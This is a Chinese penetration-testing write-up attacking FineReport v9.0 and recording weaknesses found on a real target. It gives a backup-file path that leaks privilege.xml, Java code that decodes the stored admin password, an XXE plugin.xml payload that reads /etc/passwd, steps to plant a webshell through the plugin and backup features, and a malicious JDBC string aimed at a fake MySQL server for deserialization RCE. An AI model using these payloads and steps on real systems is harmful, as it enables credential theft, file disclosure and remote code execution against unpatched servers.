List [CTL]
TL; DR
本篇是水文
网上公开的目前只有帆软v8.0部分漏洞,而v9.0中这几个漏洞已修(HW快开始了)
本文记录针对帆软v9.0渗透中发现的脆弱点
- 前台备份文件泄露(默认路径)
- 后台XXE
- 后台GetShell
- 后台任意jdbc串连接导致
- 本地文件读取
- 反序列化RCE
前台备份文件泄露
帆软v9.0提供了备份文件功能
默认情况下(官方示例https://help.finebi.com/finebi4.1/doc-view-517.html)的备份文件路径是:
path="${WEB_REPORT}/bakup"
存在以下几种备份(就是bakup,不是我笔误):
all_bakup
config_bakup jar_bakup log_bakup
plugins_bakup reportlets_bakup update_bakup
备份内部的路径为
autobackup/YYYY.MM.DD<space>HH.MinMin.SS
manualbackup/<NAME(default is timestamp)>
如果确认WEB根目录下存在备份目录,可以尝试猜解timestamp。如果是Windows下,还可结合短文件名
我所遇目标系统privilege.xml路径:
http://IP/WebReport/bakup/config_bakup/autobackup/2020.04.07%2018.10.10/resources/privilege.xml
privilege.xml中存放了编码后的admin密码,反编译jar可知编码算法
// fr-core-9.0.jar/com/fr/stable/CommonCodeUtils.java
public class Main {
private static final int[] PASSWORD_MASK_ARRAY = {19, 78, 10, 15, 100, 213, 43, 23};
public static String passwordDecode(String paramString) {
if (paramString != null && paramString.startsWith("___")) {
paramString = paramString.substring(3);
StringBuilder stringBuilder = new StringBuilder();
byte b1 = 0;
for (byte b2 = 0; b2 <= paramString.length() - 4; b2 += 4) {
if (b1 == PASSWORD_MASK_ARRAY.length)
b1 = 0;
String str = paramString.substring(b2, b2 + 4);
int i = Integer.parseInt(str, 16) ^ PASSWORD_MASK_ARRAY[b1];
stringBuilder.append((char)i);
b1++;
}
paramString = stringBuilder.toString();
}
return paramString;
}
public static void main(String[] args) {
String pwd = "___0022...";
System.out.println(passwordDecode(pwd));
}
}
后台XXE
后台有上传插件功能,上传文件为zip格式,插件元信息放在压缩包的plugin.xml中
将WebShell和plugin.xml压缩后上传,FineReport在解析plugin.xml时存在XXE
至于源码我就不打算分析了,感兴趣可以自己反编译看一下,教科书式的XXE写法。可能是因为在后台,一直没有人提出
两种利用:
- 读文件,但XXE回显在插件管理栏时有字数限制,可FTP OOB。而且Java的XXE是可以列目录的,但其实后台有列目录接口,后面讲
- SSRF,Windows下低版本JDK默认会启用NTLM认证,可以破解hash或hash relay
plugin.xml示例:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<plugin>
<id>EVIL</id>
<name>&b;</name>
<active>yes</active>
<version>0.0.1</version>
<env-version>8.0</env-version>
<vendor>finereport.wei</vendor>
<jartime>2017-11-08</jartime>
<description>&b;</description>
<extra-report>
<ActorProvider class="com.fr.wei.plugin.h5reportnew.server.report.Html5PageActorProvider"/>
</extra-report>
<extra-platform>
<PlateProvider class="com.fr.wei.plugin.h5reportnew.server.fs.Html5ManagementPlateProvider"/>
</extra-platform>
</plugin>
后台GetShell
压缩包中的WebShell解压后会放在
WEB-INF/plugins/plugin-EVIL-[VERSION]
结合手动备份功能,将其备份到WEB目录下
即可访问
http://IP/WebReport/bakup/plugins_bakup/manualbackup/EVIL/plugins/plugin-EVIL-0.0.1/1.jsp
假如备份文件路径不在WEB目录下,其实后台给了设置备份文件存储路径的功能,可以将WebShell转到可访问目录中
智能运维 -> 备份还原 -> 设置 -> 备份路径
我所遇目标系统就是通过这种方式getshell
而且这里在选择备份路径时,是有列目录功能的
POST
/WebReport/ReportServer?op=fs_bakrestore&cmd=folder_tree
serverID=&optype=get_nodes&parentID=/root&layer=1
只要能进入后台,并且启用了插件功能,结合列目录,getshell基本没什么问题
任意JDBC串连接
数据库操作可导致反序列化,文章:
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649721398&idx=3&sn=ffc2b37268b51b61ed4edba5683cd5b5&chksm=888cba59bffb334fabaf35ffb588d7f0d9ed2d4959d7bfd3d4fa137821a23b7b525c2b1a33b3&mpshare=1&scene=23&srcid=&sharer_sharetime=1587033454342&sharer_shareid=04fc381b7838be4b14d617ae0623e947#rd
目标系统是mysql-connector-java-5.1.6-bin.jar
,在文章所说的可攻击范围内(我通过ysoserial.URLDNS
验证确实可成功反序列化)
攻击需要结合本地gadgets,反编译fr-third-9.0.jar
发现存在springframework
,但spring版本不合,反编译后发现没有springframework.beans.factory.support.AutowireUtils
和springframework.core.SerializableTypeWrapper
。且目标是JDK8u242,就算spring是漏洞版本也无法攻击
简单尝试后并没有找到可利用的gadgets,如果日后有机会可以尝试挖掘fr-core, fr-third, fr-chart
等jar包
在有可利用gadget情况下:
将fr-third-9.0.jar
导入本地mvn仓库
mvn install:install-file -Dfile='fr-third-9.0.jar' -DgroupId='com.fr.third' -DartifactId='fr-third' -Dversion='9.0' -Dpackaging=jar
将gadget的package的导入的路径修改为com.fr.third.xxx
,修改pom.xml加入fr-third dependency
后重新编译
服务端Fake_MySQL_Server
监听,后台修改JDBC串为
jdbc:mysql://IP:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_GADGET_CMD
修改后随意触发一处查询即可RCE